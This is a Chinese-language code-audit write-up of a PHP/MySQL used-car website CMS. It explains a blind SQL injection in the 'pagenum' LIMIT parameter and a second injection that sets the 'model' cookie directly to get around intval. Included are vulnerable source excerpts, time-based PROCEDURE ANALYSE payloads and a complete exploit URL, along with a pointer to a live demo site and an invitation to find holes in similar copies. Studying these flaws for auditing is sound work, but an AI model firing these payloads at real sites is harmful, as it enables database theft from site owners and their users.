0x00 前记
这里的漏洞分析只挑选了两个觉得有新意的点来说,整个cms肯定还是有很多漏洞,可以说是值得练手的一款cms,并且由于是根据某付费cms二次制作完成,因此市面上这类汽车网源码肯定也是千疮百孔,刷洞的可以走起~
0x01 cms简介
大泉州汽车网整站程序是一个以PHP+MySQL进行开发的二手车发布网站源码。
大泉州汽车网整站程序PHP生成html开源版 更新日志:
V1.1.2
1.增加手机版,可以绑定二级域名访问。如http://m.myname.com 绑定到m目录即可, 手机版模版位置:templates/default/m/
2.修正车行商铺首页和车型图片路径不显示
3.修正车型中心图片路径不对。
4.修正用户注册CSS路径。
5.修正用户登录CSS路径。
6.修正百度地图,不需参数可以直接定位
源码下载地址:http://down.chinaz.com/soft/39115.htm
demo地址:http://www.dqzqcw.com/
0x02 漏洞分析
下面两个洞是不那么常见的洞,或者说跟平时挖掘思路不太一致,这里拿出来分享一下,也给那些代码审计新手一点新的思路。现在由于大多数参数都有过滤机制,因此一些常见的注入漏洞可以说是很难找了,笔者如果想要找sql注入漏洞,那么喜欢挑像in类型的注入或者limit、order by这种,这里包含的参数正常都是数字类型,也就是说无需单引号包裹的,所以如果没做数字类型的检查,那么这里很可能就会存在问题,下面进入正篇!
-
limit注入
这里漏洞代码位于index/2s.php第288行// 每页显示条数 if (isset($_GET['pagenum'])) { setMyCookie("pagenum", $_GET['pagenum'], time() + COOKIETIME); } else { setMyCookie("pagenum", 32, time() + COOKIETIME); }
这里传入参数pagenum,然后将值赋到cookie里去(这也是这款cms的特色之处,所有的参数均会存储到cookie,然后在后面做处理的时候从cookie中取值),接着我们跟进pagenum参数来到index/2s.php第301行
include(INC_DIR . 'Page.class.php'); $Page = new Page($db -> tb_prefix . 'cars', $where, '*', $_COOKIE['pagenum'], $orderby); $listnum = $Page -> total_num; $list = $Page -> get_data();
这里可以看到我们的pagenum参数已经是从cookie中取值来进行操作,继续跟进Page函数来到include/Page.class.php第33行
* * @param string $tbname 要操作的表名 * @param string $where 定位条件 * @param string $field 要查询的字段 * @param string $pageSize 每页显示数量 * @param string $orderBy 排序方式 */ function Page($tbname, $where = '1=1', $field = '*', $page_size = 20, $order_by = '', $group_by = '') { !mysql_ping() && exit('mysql can not connect!'); if (!empty($page_size)) $this -> page_size = $page_size; // 获取总记录条数 $sql = "SELECT count(*) as row_num FROM $tbname WHERE $where"; $row_num = mysql_fetch_array(mysql_query($sql)); $this -> total_num = $row_num['row_num']; //$this -> total_page = ceil($this -> total_num / $page_size); // 当前page $page = isset($_GET['page']) && intval($_GET['page']) > 0 ? intval($_GET['page']) : 1; $this -> page = ($page < $this -> total_page || $this -> total_page == 0) ? $page : $this -> total_page; // 计算查询的起始值 $start = ($this -> page - 1) * $page_size; // 查询结果 if($page_size==0){ $sql = "SELECT $field FROM $tbname WHERE $where" . ($group_by ? ' GROUP BY ' . $group_by : '').($order_by ? ' ORDER BY ' . $order_by : '') ; }else{ $this -> total_page = ceil($this -> total_num / $page_size); $sql = "SELECT $field FROM $tbname WHERE $where" . ($group_by ? ' GROUP BY ' . $group_by : '').($order_by ? ' ORDER BY ' . $order_by : '') . " LIMIT $start,$this->page_size"; } $result = mysql_query($sql); $data = array(); while ($row = mysql_fetch_assoc($result)) { $data[] = $row; } $this -> data = $data; }
这里pagenum对应的参数为$page_size参数,因此这里我们需要来看看page_size参数处于sql语句中的哪个位置。这里可以看到第28行处于limit之后,并且这里没有开启错误回显,因此该漏洞为前台无限制limit盲注漏洞。
我们知道在遇到limit注入时,使用procedure analyse即可实现注入,但是网上搜到的大多是利用报错来进行注入,这里只能盲注,因此也花了不少时间来测试sql语句。
常见的limit报错语句如下MariaDB [car]> select * from simcms_cars limit 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,user())),1); ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
这里想要改成时间盲注语句也很简单,只要对user()那里做修改即可
时间盲注语句如下MariaDB [car]> select * from simcms_cars limit 0,1 procedure analyse((extractvalue(rand(),concat(0x3a,(IF(ascii(MID(user(),1,1))=114, BENCHMARK(3000000,SHA1(1)),1))))),1); ERROR 1105 (HY000): XPATH syntax error: ':0'
最后我们来到实战中做检验,完整的payload如下
http://127.0.0.1/?m=2s&pagenum=1 PROCEDURE analyse((extractvalue(rand(),concat(0x3a,(IF(ascii(MID(user(),1,1))=114, BENCHMARK(6000000,SHA1(1)),1))))),1)
延时差距还是很明显的~ - cookie注入
这个漏洞其实可以说是逻辑上的漏洞,我们刚才看到了程序的处理流程,先将GET或者POST参数给赋值到cookie里,然后再从cookie里调用,那么这中间会出现什么问题呢?这里随便抽取了一段,可以看到传进来的参数大概是p_1或者a_2这种,下划线前面的表示类型,下划线后面的表示数值,并且会对数值做intval处理,那么这里最简单的思路就是来找一找有没有漏网之鱼,就是没有做intval处理,并且最终进入到sql语句里的参数,当然这里也有,不过不是本文的讨论重点。if ($arr_c['0'] == "p") { if (isset($arr_c[1])) { setMyCookie("price", intval($arr_c[1]), time() + COOKIETIME); } if (isset($_COOKIE['price']) and $_COOKIE['price'] == 0) { setMyCookie("price", '', time() - COOKIETIME); } } // 车龄 elseif ($arr_c['0'] == "a") { if (isset($arr_c[1])) { setMyCookie("age", intval($arr_c[1]), time() + COOKIETIME); } if (isset($_COOKIE['age']) and $_COOKIE['age'] == 0) { setMyCookie("age", '', time() - COOKIETIME); } } // 车型 elseif ($arr_c['0'] == "m") { if (isset($arr_c[1])) { setMyCookie("model", intval($arr_c[1]), time() + COOKIETIME); } if (isset($_COOKIE['model']) and $_COOKIE['model'] == 0) { setMyCookie("model", '', time() - COOKIETIME); } }
这里就以上面的车型为例,这里假如GET为m_1,那么cookie中的model值则为1,然后我们跟进这个cookie['model']
来到190行这里可以看到直接拼接进了where里,最终就进入了上面limit注入里的Page函数。if (isset($_COOKIE['model']) and $_COOKIE['model']<>0) { $where .= " and p_model = ".$_COOKIE['model']; }
回过头来看,这个model参数由于在赋值时会进入intval函数的处理,因此用常规的直接拼接思路肯定是不可以的,但是这里出现的问题就是cookie值没有进行初始化,也就是说我们现在抓包然后赋值一个新的cookie值,就可以直接绕过这个从GET到COOKIE的处理,也就绕过了intval函数的处理,下面开始抓包演示!
这里可以看到cookie中的m值为41,那么想要绕过前面的从GET处理到COOKIE处理,采用直接cookie赋值的方法即可~
可以看到延时成功~
0x03 总结
这里漏洞利用起来也不是很复杂,只是姿势可能跟平时不太一样,所以拿出来分享一下~
上述如有不当之处,敬请指出